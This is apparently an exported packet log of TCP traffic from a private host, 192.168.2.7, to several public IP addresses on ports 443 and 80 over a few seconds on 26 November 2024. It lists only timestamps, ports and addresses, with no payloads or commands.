Nov 26, 2024 22:52:28.310976982 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.311075926 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.311081886 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.311403036 CET	49749	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.311450958 CET	443	49749	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.311753988 CET	49749	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.312005043 CET	49749	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.312016964 CET	443	49749	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.321516991 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.321577072 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.321583986 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.364475965 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.400125980 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.402431011 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.402479887 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.402496099 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.406387091 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.406445026 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.406451941 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.414314985 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.414437056 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.414505005 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.414526939 CET	443	49744	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.414531946 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.414592028 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.415427923 CET	49744	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.415437937 CET	443	49744	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.415966034 CET	49744	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.415971994 CET	443	49744	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.421447992 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.433094978 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.433149099 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.433156013 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.444348097 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.444442987 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.444448948 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.456512928 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.456599951 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.456624031 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.456633091 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.456676006 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.466587067 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.476835012 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.476943016 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.476998091 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.477005959 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.477440119 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.487397909 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.498249054 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.498291969 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.498315096 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.498322010 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.498589993 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.502892017 CET	443	49742	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.502954006 CET	443	49742	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.503145933 CET	49742	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.503232002 CET	49742	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.503232002 CET	49742	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.503245115 CET	443	49742	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.503253937 CET	443	49742	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.507301092 CET	49750	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.507344007 CET	443	49750	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.507453918 CET	49750	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.507704973 CET	49750	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.507718086 CET	443	49750	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.508486986 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.518040895 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.518109083 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.518115997 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.527137995 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.527225971 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.527299881 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.527307034 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.527347088 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.536602974 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.545013905 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.545109034 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.545115948 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.545146942 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.545253992 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.553989887 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.564049959 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.564116955 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.564147949 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.564153910 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.564192057 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.565493107 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.572582960 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.572676897 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.572684050 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.578495979 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.578553915 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.578558922 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.588396072 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.588450909 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.588455915 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.591598988 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.591650963 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.591658115 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.602380991 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.602440119 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.602448940 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.605108023 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.605156898 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.605163097 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.608644962 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.608726978 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.608731985 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.612268925 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.612353086 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.612358093 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.617168903 CET	443	49737	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.617412090 CET	443	49737	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.617455959 CET	49737	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.618400097 CET	49737	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.618417025 CET	443	49737	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.623853922 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.623908043 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.623914003 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.623923063 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.623963118 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.625920057 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.635422945 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.635505915 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.635550022 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.635555983 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.635561943 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.635588884 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.638052940 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.638103962 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.638523102 CET	49733	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:28.638534069 CET	443	49733	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:28.656821012 CET	443	49743	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.656889915 CET	443	49743	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.656959057 CET	49743	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.659728050 CET	49743	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.659754038 CET	443	49743	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.688095093 CET	49751	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.688137054 CET	443	49751	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.688224077 CET	49751	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.688766003 CET	49751	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.688781977 CET	443	49751	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.839169979 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:28.839246035 CET	49745	443	192.168.2.7	20.12.23.50
Nov 26, 2024 22:52:28.842340946 CET	49745	443	192.168.2.7	20.12.23.50
Nov 26, 2024 22:52:28.842350960 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:28.842669964 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:28.881304979 CET	443	49744	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.881383896 CET	443	49744	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.881500006 CET	49744	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.888770103 CET	49745	443	192.168.2.7	20.12.23.50
Nov 26, 2024 22:52:28.890444040 CET	49744	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.890466928 CET	443	49744	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.890481949 CET	49744	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.890489101 CET	443	49744	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.898061991 CET	49756	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.898073912 CET	443	49756	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:28.898129940 CET	49756	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.900286913 CET	49756	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:28.900295973 CET	443	49756	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:29.287570000 CET	49758	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:29.287609100 CET	443	49758	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:29.287765026 CET	49758	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:29.288021088 CET	49758	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:29.288034916 CET	443	49758	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:30.058924913 CET	443	49747	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.059582949 CET	49747	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.059613943 CET	443	49747	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.060408115 CET	49747	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.060412884 CET	443	49747	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.092159986 CET	443	49749	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.092852116 CET	49749	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.092870951 CET	443	49749	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.093396902 CET	49749	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.093408108 CET	443	49749	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.223915100 CET	443	49750	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.224641085 CET	49750	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.224675894 CET	443	49750	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.225122929 CET	49750	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.225131035 CET	443	49750	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.512626886 CET	443	49747	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.512721062 CET	443	49747	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.512774944 CET	49747	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.512974024 CET	49747	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.512994051 CET	443	49747	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.513005018 CET	49747	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.513011932 CET	443	49747	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.515919924 CET	49759	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.515969038 CET	443	49759	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.516031981 CET	49759	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.516294956 CET	49759	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.516305923 CET	443	49759	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.527913094 CET	49760	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:30.527957916 CET	443	49760	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:30.528024912 CET	49760	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:30.529273987 CET	49760	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:30.529289961 CET	443	49760	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:30.537905931 CET	443	49749	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.537992001 CET	443	49749	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.538188934 CET	49749	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.538990021 CET	443	49751	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.540405989 CET	49749	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.540447950 CET	443	49749	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.540469885 CET	49749	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.540515900 CET	443	49749	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.542696953 CET	49751	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.542731047 CET	443	49751	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.543503046 CET	49751	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.543517113 CET	443	49751	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.552510977 CET	49745	443	192.168.2.7	20.12.23.50
Nov 26, 2024 22:52:30.568516970 CET	49761	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.568569899 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.568757057 CET	49761	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.568949938 CET	49761	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.568964005 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.599322081 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:30.725217104 CET	443	49750	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.725301981 CET	443	49750	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.725399017 CET	49750	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.725508928 CET	49750	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.725527048 CET	443	49750	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.725547075 CET	49750	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.725553036 CET	443	49750	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.728286982 CET	49763	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.728331089 CET	443	49763	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.728586912 CET	49763	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.728790998 CET	49763	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.728799105 CET	443	49763	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.806679010 CET	443	49756	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.807198048 CET	49756	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.807225943 CET	443	49756	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.807684898 CET	49756	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.807689905 CET	443	49756	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.833496094 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:30.833751917 CET	49766	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:30.956391096 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:30.956418037 CET	80	49766	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:30.956527948 CET	49766	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:30.956716061 CET	49766	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:30.992294073 CET	443	49751	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.992399931 CET	443	49751	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.992449045 CET	49751	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.992638111 CET	49751	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.992638111 CET	49751	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.992665052 CET	443	49751	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.992676020 CET	443	49751	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.995377064 CET	49767	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.995407104 CET	443	49767	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:30.995507956 CET	49767	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.995611906 CET	49767	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:30.995629072 CET	443	49767	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:31.076570988 CET	80	49766	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:31.079612017 CET	443	49758	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:31.079884052 CET	49758	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:31.079902887 CET	443	49758	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:31.080246925 CET	443	49758	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:31.080537081 CET	49758	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:31.080596924 CET	443	49758	172.217.21.36	192.168.2.7
Nov 26, 2024 22:52:31.129410982 CET	49758	443	192.168.2.7	172.217.21.36
Nov 26, 2024 22:52:31.139415979 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:31.139481068 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:31.139503002 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:31.139544010 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:31.139553070 CET	49745	443	192.168.2.7	20.12.23.50
Nov 26, 2024 22:52:31.139571905 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:31.139581919 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:31.139597893 CET	49745	443	192.168.2.7	20.12.23.50
Nov 26, 2024 22:52:31.139622927 CET	49745	443	192.168.2.7	20.12.23.50
Nov 26, 2024 22:52:31.158777952 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:31.159013987 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:31.159054041 CET	49745	443	192.168.2.7	20.12.23.50
Nov 26, 2024 22:52:31.159118891 CET	49745	443	192.168.2.7	20.12.23.50
Nov 26, 2024 22:52:31.262553930 CET	443	49756	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:31.262708902 CET	443	49756	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:31.262773037 CET	49756	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:31.262901068 CET	49756	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:31.262912989 CET	443	49756	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:31.262923002 CET	49756	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:31.262929916 CET	443	49756	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:31.265721083 CET	49769	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:31.265750885 CET	443	49769	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:31.265810966 CET	49769	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:31.265940905 CET	49769	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:31.265947104 CET	443	49769	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:31.956957102 CET	443	49760	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:31.957035065 CET	49760	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:31.958736897 CET	49760	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:31.958748102 CET	443	49760	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:31.958981991 CET	443	49760	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:32.004513979 CET	49760	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:32.007365942 CET	49760	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:32.055326939 CET	443	49760	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:32.293373108 CET	49770	443	192.168.2.7	172.217.17.78
Nov 26, 2024 22:52:32.293421030 CET	443	49770	172.217.17.78	192.168.2.7
Nov 26, 2024 22:52:32.293687105 CET	49770	443	192.168.2.7	172.217.17.78
Nov 26, 2024 22:52:32.293922901 CET	49770	443	192.168.2.7	172.217.17.78
Nov 26, 2024 22:52:32.293939114 CET	443	49770	172.217.17.78	192.168.2.7
Nov 26, 2024 22:52:32.330779076 CET	443	49759	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.331326962 CET	49759	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.331351995 CET	443	49759	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.333165884 CET	49759	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.333173990 CET	443	49759	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.351073027 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.351598978 CET	49761	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.351629972 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.352093935 CET	49761	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.352099895 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.478344917 CET	443	49760	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:32.478414059 CET	443	49760	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:32.478991985 CET	49760	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:32.484389067 CET	49760	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:32.484411955 CET	443	49760	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:32.484512091 CET	49760	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:32.484519005 CET	443	49760	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:32.510783911 CET	443	49763	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.511363029 CET	49763	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.511385918 CET	443	49763	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.511926889 CET	49763	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.511931896 CET	443	49763	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.527923107 CET	49772	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:32.527956963 CET	443	49772	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:32.528198957 CET	49772	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:32.528693914 CET	49772	443	192.168.2.7	23.218.208.109
Nov 26, 2024 22:52:32.528704882 CET	443	49772	23.218.208.109	192.168.2.7
Nov 26, 2024 22:52:32.649358034 CET	49745	443	192.168.2.7	20.12.23.50
Nov 26, 2024 22:52:32.649394989 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:32.649408102 CET	49745	443	192.168.2.7	20.12.23.50
Nov 26, 2024 22:52:32.649415016 CET	443	49745	20.12.23.50	192.168.2.7
Nov 26, 2024 22:52:32.775794029 CET	443	49759	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.775882959 CET	443	49759	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.775933981 CET	49759	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.776081085 CET	49759	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.776091099 CET	443	49759	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.776102066 CET	49759	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.776107073 CET	443	49759	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.779612064 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.779624939 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:32.779690027 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.779953957 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:32.779967070 CET	443	49773	13.107.246.63	192.168.2.7
